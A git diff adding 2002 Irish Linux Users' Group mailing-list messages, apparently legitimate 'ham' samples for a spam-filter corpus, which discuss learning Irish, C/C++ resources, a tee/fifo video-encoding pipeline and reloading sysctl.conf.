be +an Irish speaker. + +John + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00173.cc3194ab88e30b4f6196be879cfc8a56 b/bayes/spamham/easy_ham_2/00173.cc3194ab88e30b4f6196be879cfc8a56 new file mode 100644 index 0000000..f148da7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00173.cc3194ab88e30b4f6196be879cfc8a56 @@ -0,0 +1,70 @@ +From ilug-admin@linux.ie Wed Jul 31 12:00:30 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BB9794406D + for ; Wed, 31 Jul 2002 07:00:27 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 12:00:27 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VAs6217529 for + ; Wed, 31 Jul 2002 11:54:06 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA30911; Wed, 31 Jul 2002 11:52:27 +0100 +Received: from mail.tcd.ie (geminia.tcd.ie [134.226.16.161]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA30876 for ; + Wed, 31 Jul 2002 11:52:19 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host geminia.tcd.ie + [134.226.16.161] claimed to be mail.tcd.ie +Received: from barge.dsg.cs.tcd.ie (barge.dsg.cs.tcd.ie [134.226.36.68]) + by mail.tcd.ie (Postfix) with ESMTP id D73C6DE1 for ; + Wed, 31 Jul 2002 11:52:18 +0100 (IST) +Received: (from david@localhost) by barge.dsg.cs.tcd.ie (8.11.2/8.11.2) id + g6VAsUq00918 for ilug@linux.ie; Wed, 31 Jul 2002 11:54:30 +0100 +Date: Wed, 31 Jul 2002 11:54:30 +0100 +From: "David O'Callaghan" +To: Irish LUG +Subject: Re: [ILUG] Fwd: Linux Beer Hike +Message-Id: <20020731115430.A555@barge.tcd.ie> +Mail-Followup-To: Irish LUG +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.3.12i +In-Reply-To: ; + from stevenx.satelle@intel.com on Wed, Jul 31, 2002 at 11:28:05AM +0100 +X-Operating-System: Linux barge 2.4.18 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Wed, Jul 31, 2002 at 11:28:05AM +0100, Satelle, StevenX wrote: +> When I was in school they pushed Irish down my throat. I developed a hatred +> for Irish. I did French for 3 years and German for 6 months, I could +> (almost) hold a basic conversation. I am proud of the fact that I don't know +> one word of Irish. + +Going rapidly OT here, but I find it shocking that anybody could be +proud of not knowing something. It's like the tourist on holidays using +that speak-loudly-enough-and-they-will-understand technique or (slightly +less off-topic) the friend or relative who says "I know nothing +about computers!" and clearly doesn't intend to learn, and is happy +to let you clean up after them. + +I certainly agree that Irish is not taught all that well (or wasn't +when I was in school) but I'd like to be able to relearn it and to +count it as one of my skills. + +David + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00174.8f16cc9b5762f4b43fb3b8afc66e8544 b/bayes/spamham/easy_ham_2/00174.8f16cc9b5762f4b43fb3b8afc66e8544 new file mode 100644 index 0000000..44994ca --- /dev/null +++ b/bayes/spamham/easy_ham_2/00174.8f16cc9b5762f4b43fb3b8afc66e8544 @@ -0,0 +1,76 @@ +From ilug-admin@linux.ie Wed Jul 31 12:00:31 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5EE054407C + for ; Wed, 31 Jul 2002 07:00:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 12:00:28 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VAu0217594 for + ; Wed, 31 Jul 2002 11:56:00 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA31068; Wed, 31 Jul 2002 11:53:46 +0100 +Received: from ie.suberic.net (owsla.ie.suberic.net [62.17.162.83]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA31042 for ; + Wed, 31 Jul 2002 11:53:41 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host owsla.ie.suberic.net + [62.17.162.83] claimed to be ie.suberic.net +Received: from owsla.ie.suberic.net (owsla [127.0.0.1]) by ie.suberic.net + (8.11.6/8.11.6) with ESMTP id g6VAreY13412 for ; + Wed, 31 Jul 2002 11:53:40 +0100 +Date: Wed, 31 Jul 2002 11:53:38 +0100 +To: ILUG +Subject: Re: [ILUG] C++ and C Mailing Lists for Beginners and Advanced +Message-Id: <20020731115338.D11938@ie.suberic.net> +References: <200207311043.g6VAhuq10699@cdm01.deedsmiscentral.net> + <20020731125129.B11532@wanadoo.fr> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5.1i +In-Reply-To: <20020731125129.B11532@wanadoo.fr>; from dneary@wanadoo.fr on + Wed, Jul 31, 2002 at 12:51:29PM +0200 +X-Operating-System: Linux 2.4.18-5 i686 +X-GPG-Fingerprint: 9C1D 16F4 11F1 6BD2 933C 048D ACC7 9840 89D0 7646 +From: kevin lyda +Mail-Followup-To: kevin+dated+1028544820.c7b215@linux.ie, + ilug@linux.ie +X-Delivery-Agent: TMDA/0.57 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Wed, Jul 31, 2002 at 12:51:29PM +0200, David Neary wrote: +> Also, you should keep a bookmark pointing at the comp.lang.c FAQ at +> http://www.eskimo.com/~scs/C-faq/top.html + +and don't forget the c iaq. that's here: + + http://www.plethora.net/~seebs/faqs/c-iaq.html + +an example: + + 1.3: If I write the code int i, j; can I assume that (&i + 1) == &j? + + Only sometimes. It's not portable, because in EBCDIC, i and j are not + adjacent. + +kevin + +-- +kevin@suberic.net that a believer is happier than a skeptic is no more to +fork()'ed on 37058400 the point than the fact that a drunken man is happier +meatspace place: home than a sober one. the happiness of credulity is a +http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00175.13e791af87dd358cf3882279e4ee494f b/bayes/spamham/easy_ham_2/00175.13e791af87dd358cf3882279e4ee494f new file mode 100644 index 0000000..1660683 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00175.13e791af87dd358cf3882279e4ee494f @@ -0,0 +1,81 @@ +From ilug-admin@linux.ie Wed Jul 31 12:31:04 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 1BC07440C8 + for ; Wed, 31 Jul 2002 07:31:03 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 12:31:03 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VBP8219157 for + ; Wed, 31 Jul 2002 12:25:08 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA32701; Wed, 31 Jul 2002 12:22:40 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from holly.csn.ul.ie (holly.csn.ul.ie [136.201.105.4]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA32670 for ; + Wed, 31 Jul 2002 12:22:34 +0100 +Received: from skynet.csn.ul.ie (skynet [136.201.105.2]) by + holly.csn.ul.ie (Postfix) with ESMTP id 082582B31D for ; + Wed, 31 Jul 2002 12:22:04 +0100 (IST) +Received: by skynet.csn.ul.ie (Postfix, from userid 2009) id CE01DE95E; + Wed, 31 Jul 2002 12:22:03 +0100 (IST) +Date: Wed, 31 Jul 2002 12:22:03 +0100 +To: ILUG +Subject: Re: [ILUG] C++ and C Mailing Lists for Beginners and Advanced +Message-Id: <20020731112202.GA30189@skynet.ie> +Mail-Followup-To: ILUG +References: <200207311043.g6VAhuq10699@cdm01.deedsmiscentral.net> + <20020731125129.B11532@wanadoo.fr> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <20020731125129.B11532@wanadoo.fr> +User-Agent: Mutt/1.3.24i +From: caolan@csn.ul.ie (Caolan McNamara) +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Wed, Jul 31, 2002 at 12:51:29 +0200, David Neary wrote: +> SoloCDM wrote: +> > Are there any mailing lists (non-newsgroups) for C++ and C Beginners +> > and Advanced programmers? +> +> For C++, I would guess that the comp.lang.c++ FAQ is a good place +> to start - they're likely to have links to suggested reading +> material. +> +> If you're going to do any amount of C programming, you should +> think about getting K&R2 (The C programming language, 2nd +> edition, by Kernighan and Ritchie), for C++ the equivalent book +> is Stroustrup. Although the C++ book is a lot bigger :) + +For C++, guru of the week at +http://www.gotw.ca/gotw/index.htm (can get them in book form and +with extra material as Herb Sutters Essential C++ and More Essential C++) +is a good resource. + +Scott Meyers Effective C++, More Effective C++ and Effective STL +are truly handy books. + +I always felt that The C++ faq wasn't as good as the C faq, but +it lives at http://www.parashift.com/c++-faq-lite/ + +C. +-- +Caolan McNamara | caolan@skynet.ie +http://www.skynet.ie/~caolan | +353 86 8161184 +Verbing weirds language + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00176.d346b5e8e81c7459364a76408be5860d b/bayes/spamham/easy_ham_2/00176.d346b5e8e81c7459364a76408be5860d new file mode 100644 index 0000000..718590b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00176.d346b5e8e81c7459364a76408be5860d @@ -0,0 +1,61 @@ +From ilug-admin@linux.ie Wed Jul 31 12:31:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BBA73440C9 + for ; Wed, 31 Jul 2002 07:31:03 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 12:31:03 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VBRI219204 for + ; Wed, 31 Jul 2002 12:27:18 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA00490; Wed, 31 Jul 2002 12:25:50 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA00452 for ; Wed, + 31 Jul 2002 12:25:42 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id MAA32217 for ; Wed, + 31 Jul 2002 12:25:12 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g6VBPgP24510 for ilug@linux.ie; Wed, 31 Jul 2002 12:25:42 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Wed, 31 Jul 2002 12:25:41 +0100 +From: "John P. Looney" +To: Irish LUG +Subject: Re: [ILUG] Fwd: Linux Beer Hike +Message-Id: <20020731112541.GW4594@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: Irish LUG +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +On Wed, Jul 31, 2002 at 12:02:01PM +0100, Satelle, StevenX mentioned: +> I dislike being forced to learn something and mostly refuse to do it. + + Did you burn yourself often, as a child ? + +John + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00177.0bac33d77bd12fc4da3395a535f2a664 b/bayes/spamham/easy_ham_2/00177.0bac33d77bd12fc4da3395a535f2a664 new file mode 100644 index 0000000..9444466 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00177.0bac33d77bd12fc4da3395a535f2a664 @@ -0,0 +1,72 @@ +From ilug-admin@linux.ie Wed Jul 31 12:41:17 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 86165440C8 + for ; Wed, 31 Jul 2002 07:41:15 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 12:41:15 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VBYl219634 for + ; Wed, 31 Jul 2002 12:34:47 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA01063; Wed, 31 Jul 2002 12:33:25 +0100 +Received: from odin.isw.intel.com (swfdns01.isw.intel.com [192.55.37.143]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA01030 for + ; Wed, 31 Jul 2002 12:33:19 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host swfdns01.isw.intel.com + [192.55.37.143] claimed to be odin.isw.intel.com +Received: from swsmsxvs01.isw.intel.com (swsmsxvs01.isw.intel.com + [172.28.130.22]) by odin.isw.intel.com (8.11.6/8.11.6/d: solo.mc, + v 1.42 2002/05/23 22:21:11 root Exp $) with SMTP id g6VBXI327630 for + ; Wed, 31 Jul 2002 11:33:18 GMT +Received: from swsmsx17.isw.intel.com ([172.28.130.21]) by + swsmsxvs01.isw.intel.com (NAVGW 2.5.2.11) with SMTP id + M2002073112320820254 for ; Wed, 31 Jul 2002 12:32:08 +0100 +Received: by swsmsx17.isw.intel.com with Internet Mail Service + (5.5.2653.19) id ; Wed, 31 Jul 2002 12:37:16 +0100 +Message-Id: +From: "Satelle, StevenX" +To: "'ilug@linux.ie'" +Subject: RE: [ILUG] Fwd: Linux Beer Hike +Date: Wed, 31 Jul 2002 12:33:17 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +Content-Type: text/plain; charset="iso-8859-1" +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +I have 3rd degree burn scars on both hands. I can hold that match if I want +to :-) + +-----Original Message----- +From: John P. Looney [mailto:valen@tuatha.org] +Sent: 31 July 2002 12:26 +To: Irish LUG +Subject: Re: [ILUG] Fwd: Linux Beer Hike + + +On Wed, Jul 31, 2002 at 12:02:01PM +0100, Satelle, StevenX mentioned: +> I dislike being forced to learn something and mostly refuse to do it. + + Did you burn yourself often, as a child ? + +John + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00178.f23e3d8a5c020bfba4914a4f2a945937 b/bayes/spamham/easy_ham_2/00178.f23e3d8a5c020bfba4914a4f2a945937 new file mode 100644 index 0000000..b6bbd84 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00178.f23e3d8a5c020bfba4914a4f2a945937 @@ -0,0 +1,90 @@ +From ilug-admin@linux.ie Wed Jul 31 15:15:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 7F5AC440C8 + for ; Wed, 31 Jul 2002 10:15:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 15:15:09 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VEFx227713 for + ; Wed, 31 Jul 2002 15:15:59 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id PAA08305; Wed, 31 Jul 2002 15:13:30 +0100 +Received: from claymore.diva.ie (diva.ie [195.218.115.17] (may be forged)) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id PAA08272 for + ; Wed, 31 Jul 2002 15:13:24 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host diva.ie [195.218.115.17] + (may be forged) claimed to be claymore.diva.ie +Received: from localhost (claymore [195.218.115.17]) by claymore.diva.ie + (8.9.3/8.9.3) with ESMTP id PAA24416 for ; Wed, + 31 Jul 2002 15:13:23 +0100 +Received: from 194.125.174.143 ( [194.125.174.143]) as user + rcunniff@mail.boxhost.net by webmail.gameshrine.com with HTTP; + Wed, 31 Jul 2002 15:13:23 +0100 +Message-Id: <1028124803.3d47f0834c261@webmail.gameshrine.com> +Date: Wed, 31 Jul 2002 15:13:23 +0100 +From: Ronan Cunniffe +To: Irish Linux Users Group +Subject: Re: [ILUG] Piping to multiple processes (which might die)? +References: <200207310157.g6V1vLX04925@linux.local> +In-Reply-To: <200207310157.g6V1vLX04925@linux.local> +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +User-Agent: Internet Messaging Program (IMP) 3.0 +X-Originating-Ip: 194.125.174.143 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Quoting Brian Foster : +> | I did the following: +> | +> 1| $ mkfifo f1 +> 2| $ lav2yuv capture.avi | yuvdenoise | tee f1 | mpeg2enc blah blah & +> 3| $ cat f1 | mpeg2enc different blah blah +> | +> | And hey! It works! Until somebody dies! Yippe... oh. [ ... ] +> +> ( a winner of the Useless Use of cat(1) Award: you don't need +> the `cat f1 |' in the 3rd line, a simple ` upshot is a POSIX.2 `tee' would probably spit out an error +> message if one of the `mpeg2enc's dies, but the remaining +> one would continue to be fed data and hence run until it +> either completes or dies for reasons of its own. which is +> exactly what you want! so what is happening?? + + + Oops. + + +Um, my test was to tee to a fifo I didn't read from... resulting in the other +reader hanging around forever.... not realising that never-opened-for-reading +and opened-and-later-closed might be different. Sensible behaviour has now been +observed. + +> incidently, if your shell and system both support process +> redirection, you could do the above as a one-liner. syntax +> varies depending on the shell, but in bash(1) and ksh(1): +> +> lav2yuv capture.avi | yuvdenoise | \ +> tee >(mpeg2enc different blah blah) | mpeg2enc blah blah +mpeg2enc generates stats during the run, so I give each one an xterm. + +Thanks, +Ronan + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00179.d15992f3e182d401cc37a1b79c251d03 b/bayes/spamham/easy_ham_2/00179.d15992f3e182d401cc37a1b79c251d03 new file mode 100644 index 0000000..e46485a --- /dev/null +++ b/bayes/spamham/easy_ham_2/00179.d15992f3e182d401cc37a1b79c251d03 @@ -0,0 +1,61 @@ +From ilug-admin@linux.ie Wed Jul 31 16:33:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E25E9440A8 + for ; Wed, 31 Jul 2002 11:33:40 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 16:33:40 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VFOS230579 for + ; Wed, 31 Jul 2002 16:24:28 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA12419; Wed, 31 Jul 2002 16:22:04 +0100 +Received: from homer.jinny.ie ([193.120.171.3]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA12385 for ; Wed, + 31 Jul 2002 16:21:56 +0100 +Received: from jlooney.jinny.ie (fw [193.120.171.2]) by homer.jinny.ie + (8.9.3/8.11.2) with ESMTP id QAA12812 for ; Wed, + 31 Jul 2002 16:21:25 +0100 +Received: (from john@localhost) by jlooney.jinny.ie (8.11.6/8.11.6) id + g6VFMB305761 for ilug@linux.ie; Wed, 31 Jul 2002 16:22:11 +0100 +X-Authentication-Warning: jlooney.jinny.ie: john set sender to + jlooney@jinny.ie using -f +Date: Wed, 31 Jul 2002 16:22:11 +0100 +From: "John P. Looney" +To: Irish LUG list +Message-Id: <20020731152211.GE5178@jinny.ie> +Reply-To: ilug@linux.ie +Mail-Followup-To: Irish LUG list +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.4i +X-Os: Red Hat Linux 7.3/Linux 2.4.18-3 +X-Url: http://www.redbrick.dcu.ie/~valen +X-Gnupg-Publickey: http://www.redbrick.dcu.ie/~valen/public.asc +Subject: [ILUG] sysctl.conf +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + OK, I guess that sysctl.conf is the best way of setting + + /proc/sys/fs/file-max + + to a nice big number. Can you make a change to /etc/sysctl.conf, and then +have it take effect, without a reboot (to test it, really) ? + +John + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00180.72b2a009f9799b96a4235b1fbac35eb4 b/bayes/spamham/easy_ham_2/00180.72b2a009f9799b96a4235b1fbac35eb4 new file mode 100644 index 0000000..f23f547 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00180.72b2a009f9799b96a4235b1fbac35eb4 @@ -0,0 +1,71 @@ +From ilug-admin@linux.ie Wed Jul 31 16:33:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id ACF96440C8 + for ; Wed, 31 Jul 2002 11:33:46 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 16:33:46 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VFQl230672 for + ; Wed, 31 Jul 2002 16:26:47 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA12641; Wed, 31 Jul 2002 16:24:26 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from cerberus.bluetree.ie (cerberus.bluetree.ie [62.17.24.129]) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id QAA12617 for + ; Wed, 31 Jul 2002 16:24:19 +0100 +Received: (from mail@localhost) by cerberus.bluetree.ie (8.11.6/8.11.6) id + g6VFOHG25284 for ilug@linux.ie; Wed, 31 Jul 2002 16:24:17 +0100 +X-Virus-Checked: Checked on cerberus.bluetree.ie at Wed Jul 31 16:24:11 + IST 2002 +Received: from atlas.bluetree.ie (IDENT:root@atlas.bluetree.ie + [192.168.3.2]) by cerberus.bluetree.ie (8.11.6/8.11.6) with ESMTP id + g6VFOB825204 for ; Wed, 31 Jul 2002 16:24:11 +0100 +Received: from arafel (arafel.bluetree.ie [192.168.3.42]) by + atlas.bluetree.ie (8.11.6/8.11.6) with SMTP id g6VFOBd15107 for + ; Wed, 31 Jul 2002 16:24:11 +0100 +From: "Kenn Humborg" +To: +Subject: RE: [ILUG] sysctl.conf +Date: Wed, 31 Jul 2002 16:24:17 +0100 +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +Importance: Normal +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +In-Reply-To: <20020731152211.GE5178@jinny.ie> +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +> OK, I guess that sysctl.conf is the best way of setting +> +> /proc/sys/fs/file-max +> +> to a nice big number. Can you make a change to /etc/sysctl.conf, and then +> have it take effect, without a reboot (to test it, really) ? + +man sysctl + + # sysctl -p + +Later, +Kenn + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + + diff --git a/bayes/spamham/easy_ham_2/00181.d2bdbc9c256b67a7fa484e989449328b b/bayes/spamham/easy_ham_2/00181.d2bdbc9c256b67a7fa484e989449328b new file mode 100644 index 0000000..ec038b4 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00181.d2bdbc9c256b67a7fa484e989449328b @@ -0,0 +1,68 @@ +From ilug-admin@linux.ie Wed Jul 31 16:33:52 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C8738440A8 + for ; Wed, 31 Jul 2002 11:33:51 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Wed, 31 Jul 2002 16:33:51 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6VFRR230699 for + ; Wed, 31 Jul 2002 16:27:27 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id QAA12792; Wed, 31 Jul 2002 16:25:23 +0100 +Received: from dspsrv.com (vir.dspsrv.com [193.120.211.34]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id QAA12758 for ; + Wed, 31 Jul 2002 16:25:16 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host vir.dspsrv.com + [193.120.211.34] claimed to be dspsrv.com +Received: from itg-gw.cr008.cwt.esat.net ([193.120.242.226] + helo=waider.ie) by dspsrv.com with asmtp (Exim 3.35 #1) id + 17ZvLf-0002G1-00 for ilug@linux.ie; Wed, 31 Jul 2002 16:25:15 +0100 +Message-Id: <3D4800B7.2000407@waider.ie> +Date: Wed, 31 Jul 2002 16:22:31 +0100 +From: Waider +User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020607 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ilug@linux.ie +Subject: Re: [ILUG] sysctl.conf +References: <20020731152211.GE5178@jinny.ie> +X-Enigmail-Version: 0.63.3.0 +X-Enigmail-Supports: pgp-inline, pgp-mime +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' 